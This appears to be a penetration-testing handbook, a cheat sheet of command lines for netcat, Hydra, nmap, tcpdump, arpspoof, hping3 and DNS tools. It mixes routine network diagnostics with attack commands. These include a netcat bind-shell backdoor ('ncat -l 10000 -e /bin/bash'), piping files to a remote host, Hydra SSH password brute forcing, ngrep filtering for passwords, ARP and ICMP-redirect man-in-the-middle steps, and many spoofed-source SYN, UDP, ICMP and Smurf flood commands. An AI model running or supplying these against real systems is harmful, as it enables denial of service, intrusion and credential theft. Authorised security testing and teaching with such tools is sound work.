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Pentest-Handbook

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This is a guide for Penetratation Testers how to use Penetratation Testing tools and their advanced used. Needs Upgradation. Please do pull request.

Netcat or nc or ncat

Use Netcat as a Simple Web Server

nano index.html

Make a simple HTML file

printf 'HTTP/1.1 200 OK\n\n%s' "$(cat index.html)" | netcat -l 8888

http://server_IP:8888

We can access the content,serve the page, and then the netcat connection will close

"while true; do printf 'HTTP/1.1 200 OK\n\n%s' "$(cat index.html)" | netcat -l 8888; done" Have netcat serve the page indefinitely by wrapping the last command in an infinite loop

Port scanning using Netcat

netcat -z -v domain.com 1-1000 Scan all ports up to 1000

netcat -z -n -v 198.51.100.0 1-1000 Here -n flag to specify that you do not need to resolve the IP address using DNS

netcat -z -n -v 198.51.100.0 1-1000 2>&1 | grep succeeded Redirect standard error to standard output using the 2>&1 bash syntax. then filter the results with grep:

We can gather more information about a service running on a system’s open port , known as banner grabbing

nc -nvv x.x.x.x 80

nc u v w2 x.x.x.x 1-1024 Netcat used to perform a UDP scan of the lower 1024 ports

nc -l 8080 Listening to port 8080 for inbound connections

nc -vvul -p 9192 Listen UDP traffic

nc -vvl -p 8182 Listen TCP traffic

Listen UDP traffic on the port

nc -vvul -p 9192 &

Listening on [0.0.0.0] (family 0, port 9192)

verify netcat is listening on the port

nc -vuz -w 3 0.0.0.0 9192

XXXXXConnection to 0.0.0.0 9192 port [udp/*] succeeded!

ping 8.8.4.4 | nc -v 192.168.99.100 8182 Send traces to open a TCP port

ping 8.8.8.8 | nc -vu 192.168.99.100 9192 Send traces to an UDP port

Send traces to an UDP port without netcat

ping 8.8.4.4 > /dev/udp/192.168.99.100/9192

We can send traces to a TCP port without netcat

tail -f /opt/wso2esb01a/repository/logs/wso2carbon.log > /dev/tcp/192.168.99.100/8182

tail -f /opt/wiremock/wiremock.log | nc -vu 192.168.99.100 9192 WireMock is a simulator for HTTP-based APIs.

We can send traces to an UDP port without netcat

tail -f /opt/wso2am02a/repository/logs/wso2carbon.log > /dev/udp/192.168.99.100/9192

File transfer using Netcat

nc -l 1234 > filename.out Start by using nc to listen on a specific port, with output captured into a file.

nc host.example.com 1234 < filename.in Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred.

netcat -l 4444 > received_file Instead of printing information onto the screen, place all of the information straight into a file.

netcat domain.com 4444 < original_file Use this file as an input for the netcat connection we will establish to the listening computer. The file will be transmitted.

On the receiving end, anticipate a file coming over that will need to be unzipped and extracted by typing following command:

netcat -l 4444 | tar xzvf -

The ending dash (-) means that tar will operate on standard input, which is being piped from netcat across the network when a connection is made.

tar -czf - * | netcat domain.com 444 Pack them into a tarball and then send them to the remote computer through netcat

nc -l -u 1234 #listening a udp port ‘1234’ , verify w sudo netstat -tunlp | grep 1234

nc -v -u 192.168.105.150 53 Send or test UDP port connectivity to a specific remote host

nc 192.168.1.100 80 Connection to server with IP address 192.168.1.100 will be made at port 80 & we can now send instructions.

GET / HTTP/1.1 get the page name

HEAD / HTTP/1.1 get banner for OS fingerprinting

echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80 Retrieve the home page of a web site

Netcat as chat tool

ncat -l 8080 Configure server to listen to a port & make connection to server from a remote machine on same port & start sending message

ncat SERVER_IP 8080 On remote client machine

Now we can chat with both machine.

Netcat as a proxy

All the connections coming to our server on port 8080 will be automatically redirected to 192.168.1.200 server on port 80

ncat -l 8080 | ncat 192.168.1.200 80 Using a pipe, data can only be transferred & to be able to receive the data back.

Then we create a two way pipe,send & receive data over nc proxy

mkfifo 2way ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

ncat -l 8080 > file.txt Start with machine on which data is to be received & start nc is listener mode

ncat 192.168.1.100 8080 --send-only < data.txt On the machine from where data is to be copied, –send-only option will close the connection once the file has been copied

ncat -l 10000 -e /bin/bash Create a backdoor,‘e‘ flag attaches a bash to port 10000

ncat 192.168.1.100 1000 A client can connect to port 10000 on server

nc -p 31337 -w 5 host.example.com 42 Open a TCP connection to port 42 of host.example.com, using port 31337 as the source port, with a timeout of 5 seconds.

nc -s 10.1.2.3 host.example.com 42 Open a TCP connection to port 42 of host.example.com using 10.1.2.3 as the IP for the local end of the connection.

nc -lU /var/tmp/dsocket Create and listen on a Unix Domain Socket

nc -x10.2.3.4:8080 -Xconnect host.example.com 42 Connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port 8080.

ncat -u -l 80 -c 'ncat -u -l 8080' All the connections for port 80 will be forwarded to port 8080.

ncat -w 10 192.168.1.100 8080 Listener mode in ncat will continue to run,configure timeouts with option ‘w’.

ncat -l -k 8080 When client disconnects from server, after sometime server also stops listening.force server to stay connected & continuing port listening with option ‘k’.

When the user knows the format of requests required by the server.

An email may be submitted to an SMTP server

nc localhost 25 << EOF

HELO host.example.com

MAIL FROM: <[email protected]>

RCPT TO: <[email protected]>

DATA

Body of email.

.

QUIT

EOF

It is necessary to first make a connection, and then break the connection when the banner has been retrieved.

This can be accomplished by specifying a small timeout with the -w flag, or by issuing a "QUIT" command to the server

`echo "QUIT" | nc host.example.com 20-30

SSH-1.99-OpenSSH_3.6.1p2`

Protocol mismatch.

220 host.example.com IMS SMTP Receiver Version 0.84 Ready

Hydra

Parallelized login cracker which supports numerous protocols to attack

hydra -L unix_users.txt -P unix_passwords.txt ssh://192.169.42.33

hydra -l user -P unix_passwords.txt ssh://192.169.42.33

hydra -l root -P root_userpass.txt ssh://192.169.42.33

Web Content Scanner

Dirb

dirb http://192.169.42.33 /usr/share/dirb/wordlists/common.txt

Web server scanner

Nikto

nikto -host 192.169.42.33

Nmap

Set mtu size 8

nmap --mtu 8 192.169.42.3 --packet_trace -n -p 80

nmap -p80 192.169.42.3 -oG -|nikto -h -

nmap -p0-65535 192.168.2.7

Network discovery scan with OS detction

nmap -O -PE 192.168.15.1/2

nmap -sO 62.233.173.90 para IP protocol scan of a router and a typical Linux 2.4 box.

nmap -PO 192.168.1.1 Do not ping before scanning.

nmap -sS 192.168.1.1 Stealthy scan

nmap -sX -T2 linuxhint.com Xmas scan Polite: -T2, neutral.

nmap -sX -T4 linuxhint.com Xmas scan Aggressive: -T4, fast scan.

nmap -sV -sX -T4 linuxhint.com Xmas scan Aggressive: -T4, fast scan -sV for version detection on specific ports and distinguish between filtered and filtered ports,

Iptables rules to block Xmas scan.

iptables -A INPUT -p tcp --tcp-flags FIN,URG,PSH FIN,URG,PSH -j DROP

iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP

iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP

nmap -sN 192.168.100.11 TCP Null scan Does not set any bits (TCP flag header is 0).

nmap -sF 192.168.100.11 FIN scan (-sF) Sets just the TCP FIN bit.

nmap -sW -T4 docsrv.caldera.com TCP Window Scan.

Web vulnerability scanner

uniscan -u http://192.169.42.3 -qweds

ls /usr/share/uniscan/report/

cat 192.169.42.3.html

Set 5000 byte packet size

ping -l 5000 192.169.42.3 -n 1

Source routing

ping -j 192.169.42.3 8.8.8.8

Source routing linux-based routers

sysctl -w net.ipv4.conf.<interface>.accept_source_route=1

FreeBSD (pfSense)

sysctls net.inet.ip.sourceroute and net.inet.ip.accept_sourceroute

tcpdump -X -vvv -n -i eth0

ssldump -A -d -i eth0

tcpdump -i eth1 ‘tcp[13] = 0x2'

tcpdump -i eth1 ‘tcp[13] = 0x12'

sudo tcpdump -tlni eth1 -n icmp

sudo tcpdump -i eth1 -c1 -n -s0 -vvvv icmp

tcpdump -tlni em0

Listen for ICMP traffic on em0 network interface

tcpdump -tlni em0 -n icmp

Capture one ICMP packet and decode it

tcpdump -i nfe0 -c1 -n -s0 -vvvv icmp

sudo tcpdump -i eth1 -c1 -n -s0 -vvvv icmp -w temp.pcap

C:\Program Files\Wireshark>dumpcap -D

C:\Program Files\Wireshark>dumpcap -i 9

C:\Program Files\Wireshark>dumpcap -i 12 -w C:\Users\verona\Downloads\testtrace.pcapng -b filesize:2000

tcpdump -i eth0 -w dump.pcap

tcpdump src 192.168.2.3 and tcpport 80

dumpcap -i eth0 -w dump.pcapng

Searches either for the strings “pass” or “USER” on all packets going to/or coming from port 80 (TCP or UDP).

ngrep -q -d eth0 -W byline -wi "pass|USER" port 80 The “-i” flag instructs ngrep to ignore case when matching.

HTTP Headers

tcpdump -vvvs 1024 -l -A host yahoo.com

Show OSPF protocol traffic on the interface:

tcpdump -i eth-s1p1c0 proto ospf

Show Telnet traffic on the interface:

tcpdump -i eth-s1p1c0 port telnet

tcpudmp -i eth-s1p1c0 port 23

tcpdump -i eth-s2p1c0 udp port 68

Show all traffic on the interface except port 80:

tcpdump -i eth-s1p1c0 not port 80

Show traffic only from specific host:

tcpdump -i eth-s1p1c0 host 192.168.10.24

Show additional information about each packet:

tcpdump -vv -i eth-s1p1c0

Limit the size (in bytes) of captured packets:

tcpdump -s 320 -i eth-s1p1c0

Saving a TCP dump in a .pcap file:

tcpdump -w capture.pcap -i eth-s1p2c0 host 10.1.1.1 and host 20.2.2.2

tcpdump -nni any host 10.1.1.1 -w capture.pcap

tcpdump -nni any host 10.1.1.1 and host 20.2.2.2 -w capture.pcap

tcpdump -s 1500 -i eth-s1p1c0 -w /var/log/tcpdump_s1p1c0.cap

Saving a TCP dump in a .pcap file:

tcpdump -w capture.pcap -i eth-s1p2c0 host 10.1.1.1 and host 20.2.2.2

tcpdump -nni any host 10.1.1.1 -w capture.pcap

tcpdump -nni any host 10.1.1.1 and host 20.2.2.2 -w capture.pcap

tcpdump -s 1500 -i eth-s1p1c0 -w /var/log/tcpdump_s1p1c0.cap

Saving fw monitor logs to a .pcap file to analyse in wireshark:

Use WinSCP to access the Security Gateway and copy the file to your local drive to analyze it in Wireshark

fw monitor -e 'accept (src=10.1.1.1 and dst=20.2.2.2) or (src=20.2.2.2 and dst=10.1.1.1);' -m iIoO -o wireshark.pcap

fw monitor -e 'accept (src=192.167.4.244 and dst=193.140.12.215) or (src=193.140.12.215 and dst=192.167.4.244 );' -m iIoO -o wireshark1.pcap

Start Wireshark from the command line.

wireshark -r test.pcap

Scenario #1

Machine acts as a router

sysctl -w net.ipv4.ip_forward=1

arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]

arpspoof -i wlan0 -t 192.000.000.52 192.000.000.1

arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]

arpspoof -i wlan0 -t 192.000.000.1 192.000.000.52

Listens to network traffic and picks out images from TCP streams it observes:

driftnet -i [Network Interface Name]

Sniffs HTTP requests in Common Log Format:

urlsnarf -i [Network interface name]

hping3

ICMP redirect MITM attack

nano /etc/sysctl.conf

Uncomment following line

_net.ipv4.conf.all.accept_redirects = 0

hping3 -I eth0 -C 5 -K 1 -a 10.0.2.2 --icmp-ipdst 8.8.8.8 --icmp-gw 10.0.2.15 --icmp-ipsrc 10.0.2.16

Operating system detection w ICMP packages

hping3 -1 -c 1 –K 58 10.0.2.16

hping3 -a 10.1.1.1 -p 80 -S www.alibaba.com

hping3 -S 192.168.1.105 -p 80

hping -S 192.168.1.105 -p ++1

hping3 -f 192.168.1.105 -p 80

-d is the data payload size (here, we've designated it as 10 bytes)

-E tells hping3 to grab data from the following file

hping3 -f 192.168.1.105 -p 80 -d 10 -E malware

-z connects the command to the ctrl z on the keyboard so that every time we press it, the TTL is incremented by 1.

-t sets the initial TTL (in this case, we're using 1).

-S sets the flag to SYN.

-p 80 sets the destination port to 80

hping3 -z -t 1 -S google.com -p 80

DoS using hping3 with random source IP

-c 100000 = Number of packets to send.

-d 120 = Size of each packet that was sent to target machine.

-S = I am sending SYN packets only.

-w 64 = TCP window size.

-p 21 = Destination port (21 being FTP port). You can use any port here.

--flood = Sending packets as fast as possible, without taking care to show incoming replies. Flood mode.

--rand-source = Using Random Source IP Addresses. You can also use -a or –spoof to hide hostnames.

www.hping3testsite.com = Destination IP address/website name.

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com

SYN flood – DoS using HPING3

hping3 -S --flood -V www.hping3testsite.com

Advanced SYN flood with random source IP, different data size, and window size

hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE

–flood: sent packets as fast as possible.

–rand-source: random source address.

-c –count: packet count

-d –data: data size

-S –syn: set SYN flag

-w –win: winsize (default 64)

-p –destport: destination port (default 0)

hping3 -S --flood -V -p TARGET_PORT TARGET_SITE

FIN floods

hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP

TCP RST Flood

hping3 --flood --rand-source -R -p TARGET_PORT TARGET_IP

PUSH and ACK Flood

hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP

ICMP flood

hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP

UDP Flood

–flood: sent packets as fast as possible.

–rand-source: random source address.

–udp: UDP mode.

-p –destport: destination port (default 0).

hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP

SYN flood with spoofed IP – DoS using HPING3

hping3 -S -P -U --flood -V --rand-source www.hping3testsite.com

TCP connect flood – DoS using NPING

hping --tcp-connect -rate=90000 -c 900000 -q www.hping3testsite.com

use routers broadcast IP address feature to send messages to multiple IP addresses.

use connection-less protocols that do not validate source IP addresses.

amplification techniques;Smurf attack(ICMP amplification), DNS amplification, and Fraggle attack(UDP amplification)

Smurf Attack

This command sends ping requests to broadcast IP(10.10.15.255) by spoofing target IP(10.10.15.152).

All running hosts in this network reply to the target.

hping3 --icmp --spoof TARGET_IP BROADCAST_IP

hping3 --icmp --spoof 10.10.15.152 10.10.15.255

DNS lookups

whois www.alibaba.com

dig www.alibaba.com ANY +noall +answer

Find Out TTL Value Using dig

dig +nocmd +noall +answer a www.alibaba.com

Find Domain SOA Record

dig +nssearch www.alibaba.com

Display All Records

dig +noall +answer www.alibaba.com any

Get Only Short Answer

dig +short www.alibaba.com

Trace Domain Delegation Path

dig +trace www.alibaba.com

dig -x 217.168.240.132

dig +noall +answer -x 217.168.240.132

dig -x 193.140.80.208 +short

dig -x 193.140.80.208 +trace

Check if the mail servers direct correctly

dig your_domain_name.com MX

Check if "A" records are set correctly

dig your_domain_name.com

Get TTL Information

host -v -t {TYPE} {example.com}

host -t any www.alibaba.com

Find Out the Domain IP

host -v -t a alibaba.com

Find Out the Domain Mail Server

host -v -t mx targetdomain.com

host -v -t soa targetdomain.com

Find Out the Domain Name Servers

host -v -t ns targetdomain.com

host -a www.alibaba.com

Find Out the Domain CNAME Record

host -t cname files.targetdomain.com

Query Particular Name Server

host www.alibaba.com ns1.www.alibaba.com

Find Out the Domain TXT Recored (e.g. SPF)

host -t txt www.alibaba.com

Reverse DNS lookup

host 217.168.240.132

host -v -t ptr 75.126.153.206

FW trick

By default, host command uses UDP protocol,Pass the -T option to use a TCP connection when querying the name server.

See if the name server works over TCP and firewall allows queries over the TCP.

host -t cname files.targetdomain.com

Change the default timeout to wait for a reply using -timeout option.

nslookup -timeout=10 redhat.com

nslookup -debug redhat.com

nslookup -type=any www.alibaba.com

By default DNS servers uses the port number 53. If the port number changes then try following command:

nslookup -port 56 redhat.com

Specify a particular name server to resolve the domain name, ns1.redhat.com as the DNS server, ns1.redhat.com has all the zone information of redhat.com

nslookup redhat.com ns1.redhat.com

View all the available DNS records using -query=any option.

nslookup -type=any google.com

nslookup 217.168.240.132

Look up geolocation from the command line

curl ipinfo.io/23.66.166.151

sudo apt install GeoIP GeoIP-data

geoiplookup 8.8.4.4

Set this up as a cron:

/usr/bin/geoipupdate

Scapy to perform layer 2 discovery

scapy
>>> ARP().display()
>>> arp_request1 = ARP()
>>> arp_request1.pdst = "192.168.2.11"
>>> arp_request1.display()
>>> sr1(arp_request1)
>>> sr1(ARP(pdst="192.168.2.11"))

sec -conf=root_login_attempts.conf -input=- Root_login_attempts.conf sec rule type=Single ptype=RegExp pattern=Failed password for root desc=Matched: $0 action=logonly

Listen to the interface and print a single packet.

netsniff-ng --num 1 --in eth1

Write traffic coming in on eth0 to dump.pcap and don't print any output.

netsniff-ng --in eth0 --out dump.pcap --silent --bind-cpu 0

Write a new pcap to the /mypcaps directory each day.

netsniff-ng --in eth0 --out /mypcaps --interval 24hrs

Send packets from eth0 to eth1.

netsniff-ng --in eth0 --out eth1 --mmap --silent --prio-high

Replay a network trace to an IDS listening on eth0 or attached to a hub.

netsniff-ng --in dump.pcap --mmap --out eth0 -k1000 --silent --bind-cpu 1

Apply a BPF filter, print matched packets in ASCII, accept jumbo frames, and increase verbosity:

netsniff-ng --in any --filter http.bpf --jumbo-support --ascii -V

Write new file every 10 seconds to the current directory and print packet statistics for every interval by specifying verbose mode.

netsniff-ng --in any -s --out . --interval 10sec -V

Write a low-level BPF filter with bpfc and then pass to netsniff-ng.

bpfc -i sample_bpf.txt > ethernet.bpfc

netsniff-ng --in eth0 --out ethernet.pcap --filter ethernet.bpfc

Use tcpdump to dump BPF filter opcodes to file and pass to netsniff-ng

tcpdump -dd 'ip src 192.168.1.1 and tcp and port (53 or 80 or 443)' > myfilter.bpf

netsniff-ng --in eth0 --filter myfilter.bpf --ascii

Create a trafgen configuration file from a pcap and generate it out eth1 in random order.

netsniff-ng --in ns-ng.pcap --out ns-ng.cfg -s

trafgen --in ns-ng.cfg --out eth1 --rand

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